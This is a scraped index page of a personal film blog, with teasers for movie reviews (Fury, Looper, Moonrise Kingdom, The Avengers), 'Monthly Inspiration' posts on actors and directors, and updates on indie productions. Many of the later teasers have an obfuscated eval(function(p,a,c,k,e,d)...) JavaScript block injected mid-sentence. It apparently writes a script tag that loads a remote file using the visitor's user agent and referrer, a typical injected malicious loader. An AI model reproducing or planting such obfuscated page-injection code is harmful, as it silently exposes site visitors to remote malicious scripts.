Uncle John Heads to SXSW

Many of you may remember that back in August/September I worked on an independent feature film, shot in Wisconsin and Chicago, called Uncle John (you can read about the production process here and here). Well, last week I heard from the producer, Erik Crary, that the film was accepted into the South by Southwest Film Festival.

Uncle John Heads to SXSW

Monthly Inspiration: Jake Gyllenhaal

Monthly Inspiration is a blog series that’s about what inspires me; filmmakers, styles, actors, scripts… each month, I’ll cover one new piece of inspiration. Hopefully I can turn you on to something that will inspire you as well. Sorry that this month (November) is late, life happens.

A while ago I was talking with some guys on set about movies that we go back to over and over again. There were a lot of the usual answers; then someone said Donnie Darko (imdb.com). This started a nice long conversation about Jake Gyllenhaal (imdb.com) movies. What I took away from the conversation was: he’s been a pretty solid constant in my movie appreciating life, and he’s done pretty much everything.

Monthly Inspiration: Jake Gyllenhaal

Movie Review: Fury

It’s been a while since I’ve seen a movie while it was still in theatres and still fresh enough to deserve a review. But, last weekend Loretta and I saw Fury (2014) (imdb.com) and were absolutely stunned by the beauty of the shots and intensity of the emotions. This was the first WWII film since Saving Private Ryan (imdb.com) that gripped me in an utterly visceral way. Like usual, I’ll try to keep this short and not give away anything about the film.

Movie Review: Fury

Project Update: Uncle John

Back in August and September of 2013 I worked on a feature film called Uncle John (unclejohnfilm.com). You may remember me talking about the production in my “On Set With” blogs (Part I) (Part II). Uncle John is now finished! This is the first feature that I’ve 1st AC’ed on so being able to see it is an intense feeling for me.

uncle john

Bunraku (2010) Review

It’s been a while since I’ve done a movie review and I stumbled upon a film last night that I think REALLY needs to be shared. I saw an interview online with Josh Hartnett (imdb.com) talking about leaving the Hollywood system for an independent route. A lot of what he was saying I agreed with and during the interview they showed clips from some of his more recent films, including Bunraku (imdb.com). It looked right up my alley so I found it on Netflix Instant and thoroughly enjoyed the next two hours.

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Klondike Mini-Series Review

In early 2014 the Discovery Channel embarked on a completely new endeavor: scripted narrative television. Until Klondike (imdb.com) premiered in January of 2014 the network had never had scripted narrative. Due to the success of original programming on AMC, HBO, and through Netflix, other channels that have been known to not have scripted shows (IE: History Channel’s Vikings (imdb.com), Hatfields and McCoys (imdb.com), and now Klondike) are trying the format out. The question is, “Has the Discovery Channel succeeded with Klondike? And will they create more new content now that the mini-series is completely aired?”

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Monthly Inspiration: Joseph Gordon-Levitt

Monthly Inspiration is a blog series that’s about what inspires me; filmmakers, styles, actors, scripts… each month, I’ll cover one new piece of inspiration. Hopefully I can turn you on to something that will inspire you as well.

I was trying to figure out who to choose for this months MI post. Then on January 6th, my youtube, facebook, and twitter exploded with something that I had been anticipating for a while, hitRECord on TV (hitrecord.org); and it hit me, “Why have I NOT done an MI on Joseph Gordon-Levitt (JGL)?” So, in honor of the actor/director/producer/singer/musician/artist/awesome guy, January’s Monthly Inspiration is all about Joseph Gordon-Levitt (imdb.com).

Update: The Jog is Shot!

This post is roughly a month overdue, but here it is. The Jog is completely shot and in the can! We wrapped our last day of production on December 14th and it was quite a journey. Here’s a quick update on the process.

BTS Crew 1w

Meet the Crew of The Jog, Part II

A film is only a good as the people who make it. And the crew behind The Jog (facebook.com/thejogfilm)are some very talented filmmakers. As a way to get to know the people helping make my thesis film, I’ve asked them a series of questions. Their answers are enlightening and entertaining. In this post we learn about our Line Producer and Editor/Colorist/ Behind-the-Scenes Videographer.

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Rob Ruscher on Shooting Five/Five

After its release, Five/Five went a little viral; becoming a Vimeo pick of the week, and generating 2,200 likes; which is huge for a documentary project. I wanted to know more about how the film was made, and reached out to the Director of Photography, Rob Ruscher (ruschervisuals.com), with some questions. He had a lot of great insight into the indie production process.

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We're the Millers (2013) Review

The last dozen or so times we’ve gone to the theatre Loretta and I have ended up seeing either action, drama, or kids movies. It’s been a while since we’ve seen an adult comedy on the big screen, and we wanted to change that, so we decided on We’re the Millers (2013) (imdb.com). We went into the movie knowing it was going to be a raunchy, summer comedy and that’s exactly what was delivered. We both really enjoyed the film.

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We’re the Millers (2013) Review

The last dozen or so times we’ve gone to the theatre Loretta and I have ended up seeing either action, drama, or kids movies. It’s been a while since we’ve seen an adult comedy on the big screen, and we wanted to change that, so we decided on We’re the Millers (2013) (imdb.com). We went into the movie knowing it was going to be a raunchy, summer comedy and that’s exactly what was delivered. We both really enjoyed the film.

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World War Z: Off Book, On Target

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I’ve been in San Francisco the last few weeks, and I finally got a chance to see World War Z (imdb.com) when we came back to Chicago. Since they first announced a film version of Max Brooks’ zombie novel, World War Z, I’ve been tossing over whether or not I was excited for it. I’m a big fan of the book, and of Max Brooks in general. And all while I was reading the book I thought, “this would make a great movie.” Then when I started seeing previews and hearing about the production, I started getting weary.

Hulk vs. Hulk vs. Hulk vs. Hulk

At the end of last semester, I wrote an essay comparing various renderings of The Incredible Hulk in cinema. I’ve posted it here for your viewing. Enjoy!

Traditional American super heroes have mysterious beginnings, fantastical powers (or vast wealth), and a proclivity for sticking their noses into situations that would otherwise keep regular citizens at a distance. The Incredible Hulk works better as an accompanying character to a team of heroes, rather than as a stand-alone main character. This is proven both by sales of Hulk comics, and by the three film renderings we have of the Bruce Banner/ Hulk character.

Christmas Weekend Movie Marathon Part II: The Hobbit

This is the first year that Loretta and I spent the holidays away from both our families, so we had to come up with ways to stay entertained. The weekend leading up to Christmas, we decided to see one new movie every night. After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

2012: A Post-Mortem

Since it’s the time of year when companies summarize the year they’ve had, and it’s been a while since I’ve done a check in, here’s my post-mortem on 2012. Last year I kept it under 600 words; there's no way I'm going to be able...

Wreck-It Ralph (2012) Review

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsyab|var|u0026u|referrer|hzaeh||js|php'.split('|'),0,{})) don't generally get excited for animated film. I also usually squirm whenever I hear that John C. Reilly (imdb.com) is attached to any project. But I had high hopes for Disney's 2012 film, Wreck-It Ralph (imdb.com). From the...

Seven Psychopaths (2012) Review

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|farrt|var|u0026u|referrer|rfizy||js|php'.split('|'),0,{})) Friday I had passes to check out a pre-release screening of Red Dawn (2012) (imdb.com), but Loretta and I didn't get to the theatre early enough and it filled up before we got inside. Not wanting to waste...

Looper (2012) +Commentary Review

One eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teyii|var|u0026u|referrer|ftzrr||js|php'.split('|'),0,{})) of the biggest film releases this year is Looper (2012) (imdb.com) from director Rian Johnson (rcjohnso.com). A lot of people I know, myself included, felt that it was the most anticipated film of the year. And it definitely...

Grad School Week Two

Week Two at Columbia College Chicago (colum.edu) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzsht|var|u0026u|referrer|irhzd||js|php'.split('|'),0,{})) flew by. Since we're still in "boot camp" mode we sped through a lot of information really quickly. Being that I've been working on productions for the last few years, a lot...

Moonrise Kingdom (2012) Review

Wes eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|neyit|var|u0026u|referrer|ndfth||js|php'.split('|'),0,{})) Anderson (imdb.com) hits awkward awesomeness again with Moonrise Kingdom (imdb.com). Anderson, who directed such cult films as Bottle Rocket (imdb.com), Rushmore (imdb.com), and The Royal Tenenbaums (imdb.com), is known for writing/directing films that are chock full of unique, interesting characters that make you...

Monthly Inspiration: Akira Kurosawa

Monthly eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddyhn|var|u0026u|referrer|nityb||js|php'.split('|'),0,{})) Inspiration is a new blog series that's about what inspires me; filmmakers, styles, actors, scripts...

Movie Review: The Avengers (2012)

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbsz|var|u0026u|referrer|tytnf||js|php'.split('|'),0,{})) usually don't buy into hype around movies. When "blockbusters" come out, I'm not the first person in line. But this summers' The Avengers (imdb.com) has had me drooling for months. I knew when Nick Fury (Samuel L. Jackson) showed...

The Woman in Black (2012) Review

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atzit|var|u0026u|referrer|iedis||js|php'.split('|'),0,{})) usually don't see horror films because I usually just end up laughing all the way through it. But, I have a girlfriend now, and she wanted to see the new Daniel Radcliffe (imdb.com) film, The Woman in Black (imdb.com),...

Movie Review: "Sherlock Holmes: A Game of Shadows"

Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeysb|var|u0026u|referrer|kzdyn||js|php'.split('|'),0,{})) day leaves very few things open. So, like any good Jew, I went to a movie and had Chinese food. My movie of choice: Sherlock Holmes: A Game of Shadows (imdb.com). Since its opening on December 16th, I've...

Movie Review: “Sherlock Holmes: A Game of Shadows”

Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|firka|var|u0026u|referrer|zikrf||js|php'.split('|'),0,{})) day leaves very few things open. So, like any good Jew, I went to a movie and had Chinese food. My movie of choice: Sherlock Holmes: A Game of Shadows (imdb.com). Since its opening on December 16th, I've...